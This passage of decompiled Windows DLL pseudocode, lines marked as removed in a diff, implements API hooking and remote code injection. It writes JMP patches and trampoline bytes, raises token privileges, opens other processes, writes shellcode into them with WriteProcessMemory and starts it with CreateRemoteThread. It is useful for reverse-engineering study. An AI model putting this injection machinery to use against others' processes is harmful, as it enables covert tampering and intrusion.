- char v66; // [esp+4Bh] [ebp-85h]
- char v67; // [esp+4Ch] [ebp-84h]
- char v68; // [esp+4Dh] [ebp-83h]
- char v69; // [esp+4Eh] [ebp-82h]
- char v70; // [esp+4Fh] [ebp-81h]
- char v71; // [esp+50h] [ebp-80h]
- char v72; // [esp+51h] [ebp-7Fh]
- char v73; // [esp+52h] [ebp-7Eh]
- char v74; // [esp+53h] [ebp-7Dh]
- char v75; // [esp+54h] [ebp-7Ch]
- char v76; // [esp+55h] [ebp-7Bh]
- char v77; // [esp+56h] [ebp-7Ah]
- char v78; // [esp+57h] [ebp-79h]
- char v79; // [esp+58h] [ebp-78h]
- char v80; // [esp+59h] [ebp-77h]
- char v81; // [esp+5Ah] [ebp-76h]
- char v82; // [esp+5Bh] [ebp-75h]
- char v83; // [esp+5Ch] [ebp-74h]
- char v84; // [esp+5Dh] [ebp-73h]
- char v85; // [esp+5Eh] [ebp-72h]
- char v86; // [esp+5Fh] [ebp-71h]
- char v87; // [esp+60h] [ebp-70h]
- char v88; // [esp+61h] [ebp-6Fh]
- char v89; // [esp+62h] [ebp-6Eh]
- char v90; // [esp+63h] [ebp-6Dh]
- char v91; // [esp+64h] [ebp-6Ch]
- char v92; // [esp+65h] [ebp-6Bh]
- char v93; // [esp+66h] [ebp-6Ah]
- char v94; // [esp+67h] [ebp-69h]
- char v95; // [esp+68h] [ebp-68h]
- char v96; // [esp+69h] [ebp-67h]
- char v97; // [esp+6Ah] [ebp-66h]
- char v98; // [esp+6Bh] [ebp-65h]
- char v99; // [esp+6Ch] [ebp-64h]
- char v100; // [esp+6Dh] [ebp-63h]
- char v101; // [esp+6Eh] [ebp-62h]
- char v102; // [esp+6Fh] [ebp-61h]
- char v103; // [esp+70h] [ebp-60h]
- char v104; // [esp+71h] [ebp-5Fh]
- char v105; // [esp+72h] [ebp-5Eh]
- char v106; // [esp+73h] [ebp-5Dh]
- char v107; // [esp+74h] [ebp-5Ch]
- char v108; // [esp+75h] [ebp-5Bh]
- char v109; // [esp+76h] [ebp-5Ah]
- char v110; // [esp+77h] [ebp-59h]
- char v111; // [esp+78h] [ebp-58h]
- char v112; // [esp+79h] [ebp-57h]
- char v113; // [esp+7Ah] [ebp-56h]
- char v114; // [esp+7Bh] [ebp-55h]
- char v115; // [esp+7Ch] [ebp-54h]
- char v116; // [esp+7Dh] [ebp-53h]
- char v117; // [esp+7Eh] [ebp-52h]
- char v118; // [esp+7Fh] [ebp-51h]
- int v119; // [esp+80h] [ebp-50h]
- char v120; // [esp+84h] [ebp-4Ch]
- char v121; // [esp+85h] [ebp-4Bh]
- char v122; // [esp+86h] [ebp-4Ah]
- char v123; // [esp+87h] [ebp-49h]
- char v124; // [esp+88h] [ebp-48h]
- char v125; // [esp+89h] [ebp-47h]
- char v126; // [esp+8Ah] [ebp-46h]
- char v127; // [esp+8Bh] [ebp-45h]
- char v128; // [esp+8Ch] [ebp-44h]
- char v129; // [esp+8Dh] [ebp-43h]
- char v130; // [esp+8Eh] [ebp-42h]
- char v131; // [esp+8Fh] [ebp-41h]
- char v132; // [esp+90h] [ebp-40h]
- char v133; // [esp+91h] [ebp-3Fh]
- char v134; // [esp+92h] [ebp-3Eh]
- char v135; // [esp+93h] [ebp-3Dh]
- char v136; // [esp+94h] [ebp-3Ch]
- char v137; // [esp+95h] [ebp-3Bh]
- char v138; // [esp+96h] [ebp-3Ah]
- char v139; // [esp+97h] [ebp-39h]
- char v140; // [esp+98h] [ebp-38h]
- char v141; // [esp+99h] [ebp-37h]
- char v142[21]; // [esp+9Ah] [ebp-36h] BYREF
- char *v143; // [esp+AFh] [ebp-21h]
- struct _MEMORY_BASIC_INFORMATION v144; // [esp+B4h] [ebp-1Ch] BYREF
- Buffer = -125;
- v19 = 1686716652;
- v20 = 36;
- v21 = 60;
- v22 = -125;
- v23 = 68;
- v24 = 36;
- v25 = 60;
- v26 = 64;
- v27 = -119;
- v28 = 68;
- v29 = 36;
- v30 = 56;
- v31 = -119;
- v32 = 92;
- v33 = 36;
- v34 = 52;
- v35 = -119;
- v36 = 76;
- v37 = 36;
- v38 = 48;
- v39 = -119;
- v40 = 84;
- v41 = 36;
- v42 = 44;
- v43 = -119;
- v44 = 108;
- v45 = 36;
- v46 = 40;
- v47 = -119;
- v48 = 116;
- v49 = 36;
- v50 = 36;
- v51 = -119;
- v52 = 124;
- v53 = 36;
- v54 = 32;
- v55 = -115;
- v56 = 68;
- v57 = 36;
- v58 = 60;
- v59 = -119;
- v60 = 68;
- v61 = 36;
- v62 = 28;
- v63 = -115;
- v64 = 68;
- v65 = 36;
- v66 = 56;
- v67 = -119;
- v68 = 68;
- v69 = 36;
- v70 = 24;
- v71 = -115;
- v72 = 68;
- v73 = 36;
- v74 = 52;
- v75 = -119;
- v76 = 68;
- v77 = 36;
- v78 = 20;
- v79 = -115;
- v80 = 68;
- v81 = 36;
- v82 = 48;
- v83 = -119;
- v84 = 68;
- v85 = 36;
- v86 = 16;
- v87 = -115;
- v89 = 36;
- v93 = 36;
- v97 = 36;
- v101 = 36;
- v105 = 36;
- v106 = 36;
- v109 = 36;
- v113 = 36;
- v117 = 36;
- v95 = -115;
- v103 = -115;
- v111 = -115;
- v137 = 88;
- v140 = 88;
- v88 = 68;
- v90 = 44;
- v91 = -119;
- v92 = 68;
- v94 = 12;
- v96 = 68;
- v98 = 40;
- v99 = -119;
- v100 = 68;
- v102 = 8;
- v104 = 68;
- v107 = -119;
- v108 = 68;
- v110 = 4;
- v112 = 68;
- v114 = 32;
- v115 = -119;
- v116 = 4;
- v118 = -72;
- v119 = 0;
- v120 = -1;
- v121 = -48;
- v122 = 95;
- v123 = 94;
- v124 = 93;
- v125 = 90;
- v126 = 89;
- v127 = 91;
- v128 = -125;
- v129 = -8;
- v130 = 0;
- v131 = 15;
- v132 = -124;
- v133 = 3;
- v134 = 0;
- v135 = 0;
- v136 = 0;
- v138 = 92;
- v139 = -61;
- v141 = 92;
- memset(v142, 144, 20);
- v142[20] = -23;
- v143 = 0;
- if ( a3 < 5 )
- return 0;
- if ( a3 > 20 )
- return 0;
- v4 = VirtualAlloc(0, a3 + 183, 0x1000u, 4u);
- if ( !v4 )
- return 0;
- v5 = (char *)v4;
- *v4 = a3;
- v6 = v4 + 1;
- v7 = 0;
- lpAddress = v5;
- *v6 = a1;
- v8 = v6 + 1;
- for ( NumberOfBytesWritten = 0; (int)NumberOfBytesWritten < a3; ++NumberOfBytesWritten )
- {
- *v8++ = *(_BYTE *)(v7 + a2);
- v7 = NumberOfBytesWritten + 1;
- }
- v9 = v5 + 28;
- v119 = a4;
- v10 = (char *)(a1 - (v5 + 28) + a3 - 155);
- v11 = 0;
- for ( NumberOfBytesWritten = 0; (int)NumberOfBytesWritten < a3; ++NumberOfBytesWritten )
- {
- v142[v11] = *(_BYTE *)(v11 + a2);
- v11 = NumberOfBytesWritten + 1;
- }
- v143 = v10;
- CurrentProcess = GetCurrentProcess();
- if ( !WriteProcessMemory(CurrentProcess, v9, &Buffer, 0x9Bu, &NumberOfBytesWritten)
- || NumberOfBytesWritten != 155
- || (NumberOfBytesWritten = VirtualQuery(a1, &v144, 0x1Cu), NumberOfBytesWritten != 28)
- || !VirtualProtect(v144.BaseAddress, v144.RegionSize, 0x40u, &v144.Protect) )
- {
- VirtualFree(lpAddress, 0, 0x1000u);
- return 0;
- }
- v14 = 0;
- NumberOfBytesWritten = 0;
- do
- {
- if ( a1[v14] != *(_BYTE *)(v14 + a2) )
- break;
- NumberOfBytesWritten = ++v14;
- }
- while ( v14 < a3 );
- if ( v14 != a3 )
- goto LABEL_21;
- Buffer = -23;
- v19 = (_BYTE *)v9 - a1 - 5;
- v15 = GetCurrentProcess();
- if ( !WriteProcessMemory(v15, a1, &Buffer, 5u, &NumberOfBytesWritten) )
- {
- VirtualProtect(v144.BaseAddress, v144.RegionSize, v144.Protect, &v144.Protect);
- VirtualFree(lpAddress, 0, 0x1000u);
- return 0;
- }
- if ( NumberOfBytesWritten != 5 )
- {
- LABEL_21:
- VirtualProtect(v144.BaseAddress, v144.RegionSize, v144.Protect, &v144.Protect);
- VirtualFree(lpAddress, 0, 0x1000u);
- return 0;
- }
- VirtualProtect(v144.BaseAddress, v144.RegionSize, v144.Protect, &v144.Protect);
- return lpAddress;
- }
- // 100017E7: conditional instruction was optimized away because %arg_8.4 is in (5..14)
- // 10001828: conditional instruction was optimized away because %arg_8.4 is in (5..14)
- // 10001938: conditional instruction was optimized away because %arg_8.4 is in (5..14)
- //----- (10001A50) --------------------------------------------------------
- int *__userpurge sub_10001A50@<eax>(int a1@<eax>, int *hMem)
- {
- int *v2; // esi
- int *v3; // ecx
- int v4; // edx
- int v6; // [esp-4h] [ebp-10h] BYREF
- int (__cdecl *v7)(int); // [esp+4h] [ebp-8h]
- int *v8; // [esp+8h] [ebp-4h]
- v6 = a1;
- v8 = &v6;
- v2 = hMem;
- v3 = hMem + 1;
- v7 = (int (__cdecl *)(int))*hMem;
- if ( hMem[1] > 0 )
- {
- v4 = hMem[1];
- do
- {
- hMem = ++v3;
- v6 = *v3;
- --v4;
- }
- while ( v4 );
- }
- if ( !LocalFree(v2) )
- return (int *)v7(v6);
- return hMem;
- }
- //----- (10001AB0) --------------------------------------------------------
- BOOL __cdecl sub_10001AB0(int a1)
- {
- return VirtualFree((LPVOID)(a1 - 4), 0, 0x8000u);
- }
- //----- (10001AD0) --------------------------------------------------------
- int __cdecl sub_10001AD0(LPCVOID lpBuffer, SIZE_T dwSize)
- {
- void *v2; // esi
- SIZE_T NumberOfBytesWritten; // [esp+8h] [ebp-4h] BYREF
- NumberOfBytesWritten = 0;
- v2 = VirtualAlloc(0, dwSize, 0x1000u, 0x40u);
- if ( v2 )
- {
- if ( WriteProcessMemory((HANDLE)0xFFFFFFFF, v2, lpBuffer, dwSize, &NumberOfBytesWritten)
- && NumberOfBytesWritten == dwSize )
- {
- return (int)v2 + 4;
- }
- VirtualFree(v2, dwSize, 0x8000u);
- }
- return 0;
- }
- //----- (10001B30) --------------------------------------------------------
- int __cdecl sub_10001B30(int (__thiscall *a1)(int), int a2, int a3)
- {
- int v3; // edi
- int v4; // eax
- v3 = *(_DWORD *)(a3 + 4) >> 2;
- v4 = a3 + 8 + 4 * v3 - 4;
- while ( v3 )
- {
- --v3;
- v4 -= 4;
- }
- return a1(a2);
- }
- //----- (10001B70) --------------------------------------------------------
- int __cdecl sub_10001B70(_BYTE *a1, int a2, _DWORD *a3)
- {
- _BYTE *v4; // edi
- int v6; // ecx
- __int16 v7; // ax
- char v8; // bl
- _BYTE *v9; // edi
- char v10; // bl
- int v11; // [esp+Ch] [ebp-4h]
- if ( a3 )
- *a3 = 0;
- v11 = sub_10001000(2 * a2 + 1);
- if ( !v11 )
- return 0;
- v4 = (_BYTE *)v11;
- v6 = a2;
- do
- {
- v7 = 16 * (unsigned __int8)*a1;
- LOBYTE(v7) = *a1 & 0xF;
- if ( SHIBYTE(v7) <= 9 )
- v8 = HIBYTE(v7) + 48;
- else
- v8 = ((unsigned __int8)*a1 >> 4) + 55;
- *v4 = v8;
- v9 = v4 + 1;
- if ( (char)v7 <= 9 )
- v10 = v7 + 48;
- else
- v10 = v7 + 55;
- *v9 = v10;
- v4 = v9 + 1;
- ++a1;
- --v6;
- }
- while ( v6 > 0 );
- *v4 = 0;
- if ( a3 )
- *a3 = 1;
- return v11;
- }
- //----- (10001C10) --------------------------------------------------------
- int __cdecl sub_10001C10(_BYTE *a1, unsigned int *a2, _DWORD *a3)
- {
- unsigned int v4; // [esp+18h] [ebp-1Ch]
- int v5; // [esp+1Ch] [ebp-18h]
- char v6; // [esp+24h] [ebp-10h]
- char v7; // [esp+24h] [ebp-10h]
- unsigned int j; // [esp+28h] [ebp-Ch]
- char v9; // [esp+2Ch] [ebp-8h]
- char v10; // [esp+2Ch] [ebp-8h]
- char v11; // [esp+2Ch] [ebp-8h]
- _BYTE *i; // [esp+30h] [ebp-4h]
- _BYTE *v13; // [esp+30h] [ebp-4h]
- char *v14; // [esp+3Ch] [ebp+8h]
- v4 = 0;
- if ( a3 )
- *a3 = 0;
- *a2 = 0;
- if ( !a1 )
- goto LABEL_23;
- for ( i = a1; *i; ++i )
- ++v4;
- if ( v4 >= 2 && (v5 = sub_10001000(v4 >> 1)) != 0 )
- {
- v13 = (_BYTE *)v5;
- for ( j = 0; j < v4 >> 1; ++j )
- {
- v9 = *a1;
- switch ( *a1 )
- {
- case '0':
- case '1':
- case '2':
- case '3':
- case '4':
- case '5':
- case '6':
- case '7':
- case '8':
- case '9':
- v10 = v9 - 48;
- break;
- case 'A':
- case 'B':
- case 'C':
- case 'D':
- case 'E':
- case 'F':
- v10 = v9 - 55;
- break;
- case 'a':
- case 'b':
- case 'c':
- case 'd':
- case 'e':
- case 'f':
- v10 = v9 - 87;
- break;
- default:
- goto LABEL_23;
- }
- v11 = 16 * v10;
- v14 = a1 + 1;
- v6 = *v14;
- switch ( *v14 )
- {
- case '0':
- case '1':
- case '2':
- case '3':
- case '4':
- case '5':
- case '6':
- case '7':
- case '8':
- case '9':
- v7 = v6 - 48;
- break;
- case 'A':
- case 'B':
- case 'C':
- case 'D':
- case 'E':
- case 'F':
- v7 = v6 - 55;
- break;
- case 'a':
- case 'b':
- case 'c':
- case 'd':
- case 'e':
- case 'f':
- v7 = v6 - 87;
- break;
- default:
- goto LABEL_23;
- }
- a1 = v14 + 1;
- *v13++ = v11 | v7;
- }
- *a2 = j;
- if ( a3 )
- *a3 = 1;
- return v5;
- }
- else
- {
- LABEL_23:
- *a2 = j;
- if ( a3 )
- *a3 = 0;
- return v5;
- }
- }
- // 10001DD4: variable 'j' is possibly undefined
- // 10001DE5: variable 'v5' is possibly undefined
- //----- (10001E80) --------------------------------------------------------
- int __cdecl sub_10001E80(int a1, LPCSTR lpName)
- {
- HANDLE CurrentProcess; // eax
- DWORD LastError; // eax
- char *v5; // eax
- char *v6; // eax
- int i; // [esp+Ch] [ebp-A0h]
- unsigned int v8; // [esp+Ch] [ebp-A0h]
- SIZE_T v9; // [esp+10h] [ebp-9Ch]
- int v10; // [esp+14h] [ebp-98h]
- unsigned int v11; // [esp+18h] [ebp-94h]
- SIZE_T v12; // [esp+1Ch] [ebp-90h]
- int v13; // [esp+20h] [ebp-8Ch]
- int v14; // [esp+24h] [ebp-88h]
- int v15; // [esp+28h] [ebp-84h]
- DWORD ThreadId; // [esp+2Ch] [ebp-80h] BYREF
- HANDLE v17; // [esp+30h] [ebp-7Ch]
- char Buffer[15]; // [esp+34h] [ebp-78h] BYREF
- int v19; // [esp+43h] [ebp-69h]
- char v20; // [esp+47h] [ebp-65h]
- char v21; // [esp+48h] [ebp-64h]
- char v22; // [esp+49h] [ebp-63h]
- char v23; // [esp+4Ah] [ebp-62h]
- int v24; // [esp+4Bh] [ebp-61h]
- char v25; // [esp+4Fh] [ebp-5Dh]
- char v26; // [esp+50h] [ebp-5Ch]
- char v27; // [esp+51h] [ebp-5Bh]
- char v28; // [esp+52h] [ebp-5Ah]
- char v29; // [esp+53h] [ebp-59h]
- char v30; // [esp+54h] [ebp-58h]
- char v31; // [esp+55h] [ebp-57h]
- char v32; // [esp+56h] [ebp-56h]
- char v33; // [esp+57h] [ebp-55h]
- char v34; // [esp+58h] [ebp-54h]
- char v35; // [esp+59h] [ebp-53h]
- char v36; // [esp+5Ah] [ebp-52h]
- char v37; // [esp+5Bh] [ebp-51h]
- char v38; // [esp+5Ch] [ebp-50h]
- char v39; // [esp+5Dh] [ebp-4Fh]
- char v40; // [esp+5Eh] [ebp-4Eh]
- char v41; // [esp+5Fh] [ebp-4Dh]
- char v42; // [esp+60h] [ebp-4Ch]
- char v43; // [esp+61h] [ebp-4Bh]
- char v44; // [esp+62h] [ebp-4Ah]
- char v45; // [esp+63h] [ebp-49h]
- char v46; // [esp+64h] [ebp-48h]
- char v47; // [esp+65h] [ebp-47h]
- char v48; // [esp+66h] [ebp-46h]
- char v49; // [esp+67h] [ebp-45h]
- char v50; // [esp+68h] [ebp-44h]
- char v51; // [esp+69h] [ebp-43h]
- char v52; // [esp+6Ah] [ebp-42h]
- char v53; // [esp+6Bh] [ebp-41h]
- char v54; // [esp+6Ch] [ebp-40h]
- char v55; // [esp+6Dh] [ebp-3Fh]
- char v56; // [esp+6Eh] [ebp-3Eh]
- char v57; // [esp+6Fh] [ebp-3Dh]
- char v58; // [esp+70h] [ebp-3Ch]
- char v59; // [esp+71h] [ebp-3Bh]
- char v60; // [esp+72h] [ebp-3Ah]
- char v61; // [esp+73h] [ebp-39h]
- char v62; // [esp+74h] [ebp-38h]
- char v63; // [esp+75h] [ebp-37h]
- char v64; // [esp+76h] [ebp-36h]
- char v65; // [esp+77h] [ebp-35h]
- char v66; // [esp+78h] [ebp-34h]
- char v67; // [esp+79h] [ebp-33h]
- char v68; // [esp+7Ah] [ebp-32h]
- char v69; // [esp+7Bh] [ebp-31h]
- char v70; // [esp+7Ch] [ebp-30h]
- char v71; // [esp+7Dh] [ebp-2Fh]
- char v72; // [esp+7Eh] [ebp-2Eh]
- char v73; // [esp+7Fh] [ebp-2Dh]
- char v74; // [esp+80h] [ebp-2Ch]
- char v75; // [esp+81h] [ebp-2Bh]
- char v76; // [esp+82h] [ebp-2Ah]
- char v77; // [esp+83h] [ebp-29h]
- char v78; // [esp+84h] [ebp-28h]
- char v79; // [esp+85h] [ebp-27h]
- int v80; // [esp+86h] [ebp-26h]
- __int16 v81; // [esp+8Ah] [ebp-22h]
- SIZE_T NumberOfBytesWritten; // [esp+8Ch] [ebp-20h] BYREF
- LPTHREAD_START_ROUTINE lpStartAddress; // [esp+90h] [ebp-1Ch]
- SIZE_T v84; // [esp+94h] [ebp-18h] BYREF
- struct _TOKEN_PRIVILEGES NewState; // [esp+98h] [ebp-14h] BYREF
- BOOL v86; // [esp+A8h] [ebp-4h]
- if ( a1 == 1 )
- {
- if ( TokenHandle )
- return (int)TokenHandle;
- CurrentProcess = GetCurrentProcess();
- if ( OpenProcessToken(CurrentProcess, 0xF01FFu, &TokenHandle) )
- return (int)TokenHandle;
- }
- switch ( a1 )
- {
- case 2:
- v86 = LookupPrivilegeValueA(0, lpName, &NewState.Privileges[0].Luid);
- if ( !v86 )
- return 0;
- NewState.PrivilegeCount = 1;
- NewState.Privileges[0].Attributes = 2;
- SetLastError(0);
- v86 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, 0);
- LastError = GetLastError();
- v86 = LastError == 0;
- if ( !LastError )
- strcpy(byte_1001485C, lpName);
- return v86;
- case 4:
- if ( !hProcess )
- hProcess = OpenProcess(0x1F0FFFu, 0, (DWORD)lpName);
- return (int)hProcess;
- case 8:
- return ExitWindowsEx((UINT)lpName, 0);
- }
- if ( a1 != 16 )
- goto LABEL_29;
- if ( lpName == (LPCSTR)1 )
- {
- if ( hProcess )
- {
- v86 = !CloseHandle(hProcess);
- if ( v86 )
- hProcess = 0;
- }
- return v86;
- }
- if ( lpName == (LPCSTR)2 )
- {
- if ( TokenHandle )
- {
- v86 = !CloseHandle(hProcess);
- if ( v86 )
- TokenHandle = 0;
- }
- return v86;
- }
- else
- {
- LABEL_29:
- switch ( a1 )
- {
- case ' ':
- dword_10014894[0] = 4;
- Buffer[0] = -117;
- Buffer[1] = -20;
- Buffer[2] = 85;
- Buffer[3] = -125;
- Buffer[4] = -20;
- Buffer[5] = 32;
- Buffer[6] = -72;
- Buffer[7] = 35;
- Buffer[8] = 16;
- Buffer[9] = 0;
- Buffer[10] = 0;
- Buffer[11] = -119;
- Buffer[12] = 69;
- Buffer[13] = -8;
- Buffer[14] = -72;
- v19 = 4132;
- v20 = -119;
- v21 = 69;
- v22 = -12;
- v23 = -72;
- v24 = 4133;
- v25 = -119;
- v26 = 69;
- v27 = -16;
- v28 = 104;
- v29 = 22;
- v30 = 3;
- v31 = 1;
- v32 = 0;
- v33 = -117;
- v34 = 69;
- v35 = -16;
- v36 = -117;
- v37 = 72;
- v38 = 4;
- v39 = -125;
- v40 = -64;
- v41 = 8;
- v42 = 73;
- v43 = -117;
- v44 = 28;
- v45 = -120;
- v46 = 83;
- v47 = -125;
- v48 = -7;
- v49 = 0;
- v50 = 126;
- v51 = 2;
- v52 = -21;
- v53 = -12;
- v54 = -117;
- v55 = 69;
- v56 = -16;
- v57 = -1;
- v58 = 16;
- v59 = -117;
- v60 = 28;
- v61 = 36;
- v62 = -127;
- v63 = -5;
- v64 = 22;
- v65 = 3;
- v66 = 1;
- v67 = 0;
- v68 = 116;
- v69 = 3;
- v70 = 92;
- v71 = -21;
- v72 = -14;
- v73 = -125;
- v74 = -60;
- v75 = 36;
- v76 = 93;
- v77 = -117;
- v78 = -27;
- v79 = -61;
- v80 = 0;
- v81 = 0;
- if ( lpAddress )
- {
- return 0;
- }
- else
- {
- lpAddress = VirtualAllocEx(hProcess, 0, 0x64u, 0x1000u, 0x40u);
- if ( lpAddress
- && (lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x64u, 0x1000u, 0x40u)) != 0
- && (dword_10014890 = VirtualAllocEx(hProcess, 0, 0x1F4u, 0x1000u, 0x40u)) != 0
- && (v19 = (int)dword_10014890,
- v24 = (int)lpBaseAddress,
- WriteProcessMemory(hProcess, lpAddress, Buffer, 0x58u, &NumberOfBytesWritten))
- && NumberOfBytesWritten == 88 )
- {
- return (int)lpAddress;
- }
- else
- {
- if ( lpAddress )
- VirtualFreeEx(hProcess, lpAddress, 0x64u, 0x8000u);
- if ( lpBaseAddress )
- VirtualFreeEx(hProcess, lpBaseAddress, 0x64u, 0x8000u);
- lpAddress = 0;
- lpBaseAddress = 0;
- return 0;
- }
- }
- case '@':
- v15 = 1;
- dword_100148A0 = dword_100148A4;
- dword_100148A4 = dword_10014894[0] - 5;
- if ( dword_10014894[0] - 5 < 0 )
- dword_100148A4 = 0;
- if ( !WriteProcessMemory(hProcess, lpBaseAddress, &dword_100148A0, 4 * dword_100148A4 + 8, &v84) )
- v15 = 0;
- if ( lpBuffer && !WriteProcessMemory(hProcess, dword_10014890, lpBuffer, nSize, &v84) )
- v15 = 0;
- dword_1001489C = 0;
- nSize = 0;
- dword_10014894[0] = 4;
- lpStartAddress = (LPTHREAD_START_ROUTINE)lpAddress;
- if ( v15 == 1 )
- v17 = CreateRemoteThread(hProcess, 0, 0, lpStartAddress, 0, 0, &ThreadId);
- if ( !v17 )
- v15 = 0;
- if ( lpBuffer )
- sub_10001020((int)lpBuffer);
- lpBuffer = 0;
- return v15;
- case 'A':
- v14 = dword_10014894[0];
- dword_10014894[dword_10014894[0]] = (int)lpName;
- dword_10014894[0] = v14 + 1;
- return 1;
- case 'B':
- v13 = dword_10014894[0];
- v12 = nSize;
- v11 = *((_DWORD *)lpName + 1);
- if ( nSize )
- lpBuffer = (LPCVOID)sub_10001040((int)lpBuffer, v11, nSize + v11);
- else
- lpBuffer = (LPCVOID)sub_10001000(v11);
- if ( lpBuffer )
- {
- v5 = (char *)lpBuffer + v12;
- qmemcpy((char *)lpBuffer + v12, lpName + 8, v11);
- if ( v5 )
- {
- dword_10014894[v13] = (int)dword_10014890 + v12;
- nSize = v12 + v11;
- dword_10014894[0] = v13 + 1;
- return 1;
- }
- else
- {
- return 0;
- }
- }
- else
- {
- return 0;
- }
- case 'C':
- v10 = dword_10014894[0];
- v9 = nSize;
- for ( i = 0; lpName[i]; ++i )
- ;
- v8 = i + 1;
- if ( nSize )
- lpBuffer = (LPCVOID)sub_10001040((int)lpBuffer, v8, nSize + v8);
- else
- lpBuffer = (LPCVOID)sub_10001000(v8);
- if ( lpBuffer )
- {
- v6 = (char *)lpBuffer + v9;
- qmemcpy((char *)lpBuffer + v9, lpName, v8);
- if ( v6 )
- {
- dword_10014894[v10] = (int)dword_10014890 + v9;
- nSize = v9 + v8;
- dword_10014894[0] = v10 + 1;
- return 1;
- }
- else
- {
- return 0;
- }
- }
- else
- {
- return 0;
- }
- default:
- return 0;
- }
- }
- }
- // 10014894: using guessed type int dword_10014894[];
- // 1001489C: using guessed type int dword_1001489C;
- // 100148A0: using guessed type int dword_100148A0;
- // 100148A4: using guessed type int dword_100148A4;
- //----- (100026B0) --------------------------------------------------------
- int __cdecl sub_100026B0(
- DWORD th32ProcessID,
- int (__stdcall *a2)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, int, int, int, int))
- {
- int i; // [esp+Ch] [ebp-22Ch]
- MODULEENTRY32 me; // [esp+10h] [ebp-228h] BYREF
- HANDLE hSnapshot; // [esp+234h] [ebp-4h]
- i = -1;
- me.dwSize = 548;
- hSnapshot = CreateToolhelp32Snapshot(8u, th32ProcessID);
- if ( hSnapshot == (HANDLE)-1 )
- return -1;
- if ( Module32First(hSnapshot, &me) )
- {
- for ( i = sub_10002780((int)&me, a2, 0); i != 1; i = sub_10002780((int)&me, a2, 0) )
- {
- if ( !Module32Next(hSnapshot, &me) )
- break;
- }
- }
- CloseHandle(hSnapshot);
- return i;
- }
- //----- (10002780) --------------------------------------------------------
- int __cdecl sub_10002780(
- int a1,
- int (__stdcall *a2)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, int, int, int, int),
- int a3)
- {
- int v3; // ecx
- int *v4; // ecx
- int v6; // [esp-Ch] [ebp-Ch]
- int v7; // [esp-8h] [ebp-8h]
- int v8; // [esp-4h] [ebp-4h]
- if ( a3 )
- {
- v8 = a1 + 36;
- v3 = a1 + 32;
- v7 = *(_DWORD *)(a1 + 32);
- }
- else
- {
- v8 = a1 + 288;
- v3 = a1 + 32;
- v7 = a1 + 32;
- }
- v4 = (int *)(v3 - 4);
- v6 = *v4--;
- return a2(*(v4 - 6), *(v4 - 5), *(v4 - 4), *(v4 - 3), *(v4 - 2), *(v4 - 1), *v4, v6, v7, v8);
- }
- //----- (100027E0) --------------------------------------------------------
- int __cdecl sub_100027E0(int (__stdcall *a1)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, int, int, int, int))
- {
- int i; // [esp+Ch] [ebp-130h]
- PROCESSENTRY32 pe; // [esp+10h] [ebp-12Ch] BYREF
- HANDLE hSnapshot; // [esp+138h] [ebp-4h]
- i = -1;
- pe.dwSize = 296;
- hSnapshot = CreateToolhelp32Snapshot(0xFu, 0);
- if ( hSnapshot == (HANDLE)-1 )
- return -1;
- if ( Process32First(hSnapshot, &pe) )
- {
- for ( i = sub_10002780((int)&pe, a1, 1); i != 1; i = sub_10002780((int)&pe, a1, 1) )
- {
- if ( !Process32Next(hSnapshot, &pe) )
- break;
- }
- }
- CloseHandle(hSnapshot);
- return i;
- }
- //----- (100028B0) --------------------------------------------------------
- char *__cdecl sub_100028B0(char *a1, int a2)
- {
- _BYTE *v3; // [esp+Ch] [ebp-24h]
- LPCCH lpMultiByteStr; // [esp+10h] [ebp-20h]
- char *v5; // [esp+14h] [ebp-1Ch]
- int v6; // [esp+18h] [ebp-18h] BYREF
- char *v7; // [esp+1Ch] [ebp-14h]
- char *v8; // [esp+20h] [ebp-10h]
- char *v9; // [esp+24h] [ebp-Ch]
- CHAR *i; // [esp+28h] [ebp-8h]
- _BYTE *v11; // [esp+2Ch] [ebp-4h]
- v8 = 0;
- v5 = (char *)sub_10001000(600);
- if ( v5 )
- {
- v7 = v5;
- lpMultiByteStr = (LPCCH)sub_10001000(300);
- if ( lpMultiByteStr )
- {
- i = (CHAR *)lpMultiByteStr;
- while ( 1 )
- {
- while ( (unsigned __int8)*a1 >= 0x80u )
- {
- while ( (unsigned __int8)*a1 > 0x7Fu && *a1 )
- *i++ = *a1++;
- *i = 0;
- if ( a2 )
- {
- for ( i = (CHAR *)lpMultiByteStr; *i; ++i )
- {
- *v7++ = 37;
- v8 = (char *)sub_10001B70(i, 1, &v6);
- *v7++ = *v8;
- *v7++ = v8[1];
- sub_10001020((int)v8);
- }
- }
- else
- {
- v9 = (char *)sub_10001260(lpMultiByteStr);
- v3 = (_BYTE *)sub_10001190(v9, 2 * strlen(lpMultiByteStr) + 2);
- v11 = v3;
- i = (CHAR *)lpMultiByteStr;
- while ( *v11 )
- {
- *i++ = 37;
- v8 = (char *)sub_10001B70(v11, 1, &v6);
- *i++ = *v8;
- *i++ = v8[1];
- sub_10001020((int)v8);
- ++v11;
- }
- *i = 0;
- sub_10001020((int)v9);
- sub_10001020((int)v3);
- qmemcpy(v7, lpMultiByteStr, strlen(lpMultiByteStr));
- v7 += strlen(lpMultiByteStr);
- i = (CHAR *)lpMultiByteStr;
- }
- }
- if ( !*a1 )
- break;
- *v7++ = *a1++;
- }
- }
- *v7 = 0;
- }
- return v5;
- }
- //----- (10002B20) --------------------------------------------------------
- int __cdecl sub_10002B20(unsigned int a1, char a2)
- {
- return (a1 >> a2) & 1;
- }
- //----- (10002B40) --------------------------------------------------------
- char *__cdecl sub_10002B40(char *Destination, int Count)
- {
- char *result; // eax
- const char *v3; // ebp
- signed int v4; // eax
- char *v5; // ecx
- char v6; // dl
- result = (char *)sub_10001000(Count);
- v3 = result;
- if ( result )
- {
- v4 = 0;
- if ( Count > 0 )
- {
- v5 = (char *)&v3[Count - 1];
- do
- {
- v6 = Destination[v4++];
- *v5-- = v6;
- }
- while ( v4 < Count );
- }
- strncpy(Destination, v3, Count);
- sub_10001020((int)v3);
- return Destination;
- }
- return result;
- }
- //----- (10002BD0) --------------------------------------------------------
- int sub_10002BD0()
- {
- int result; // eax
- result = 0;
- dword_100148E0 = 1;
- dword_100148E4 = 0;
- dword_100148E8 = 0;
- dword_100148EC = 0;
- return result;
- }
- // 100148E0: using guessed type int dword_100148E0;
- // 100148E4: using guessed type int dword_100148E4;
- // 100148E8: using guessed type int dword_100148E8;
- // 100148EC: using guessed type int dword_100148EC;
